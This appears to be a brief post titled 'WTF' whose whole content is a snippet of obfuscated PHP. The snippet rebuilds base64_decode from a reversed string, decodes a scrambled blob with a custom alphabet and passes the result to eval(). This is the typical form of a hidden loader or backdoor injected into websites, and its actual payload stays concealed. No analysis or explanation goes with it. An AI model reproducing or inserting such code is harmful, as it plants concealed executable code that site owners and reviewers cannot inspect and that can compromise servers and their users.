WTF

$_F=__pkoolvn__; define($_F, strrev('edoced_46esab')); $_X="A0zBy+CxDw=EvFuG4tHs7IrJq8KpLoM3nNm5OlPk2QjRiS6hTg9UfVe1WdXcY-bZa"; define($_F, strrev('edoced_46esab')); $_Y="KbTkKN-5+aZPADy5AC3b0CJ5QUu6IEIzQNE1QwZlPCS8+Wwh0WF5zDJwPgw83sG8CZxUEUSn+XxxPs8lLYI1mrZnmbGZ0rIr3rI73DVYLW-r3r3tmbUp0M08mqJb0g0tyMFnLqpMPXI1K4Z8+WRl=qpMPgpb+qEZPXIvFVu4EUSnA6-qz7xxPspiADy5QUugsFdUFwSnA6adLsxxDYx9yDwpQwZGR4ZG4pEm4XpiQ6-txgGuR7RiQ6Ih+Uu9yDwpRWZGQUugsFdUFwSnA6adLsxxDYxZzC-vzMUh0sxxLYI9yDwpRWZGQUugsFdUFwSnA6adLsxxDYx9yDwpQwZizDuq0Euw+gdfyDIp0UuMADdpPXIZzC-vzMUh0s18+gUZAXT8zMUh0s8i0D35zYxKAY+ivDES+qEi0D35zYxU+nQf+7+ivCwpyqtfQbdMzNQhRgwpxgtf0WZ7+gubxXQtyNIlzqTuR7QpzM3Z=C-pKsQhxDdZAC-t+nJf0MuYzsw8yCItRrTkADo1xCJGx6p104Z70MpS0sQ9yDwpKsQ5+WVoR7kcKgp9+6EZR6Io+gFuRn3wyMwlxXQ9yDwpKsQ5+609R7-qyDdw04Z7KrT7ObTkOq0f+MZcQbhuvJZPKbTe"; $_zincode=($_F ? __pkoolvn__:NULL);eval($_zincode(strrev("=sDM9k1XkowOw0DWfRiC7ATPS9FJKsTKZ9FJowWY2VmC7kSWfRCLiciIuY0Xk4iInICLn81X5FGUlRXYH91XngSZjFGbwVmcfdWZyVWPS9FJKsTKZ9FJoUGZvNWZk9FN2U2chJWPZ9FJKsTKY9FJskCWfRCK2VmcyR3cgwSWfRCKyRnc0NXPZ9FJ")));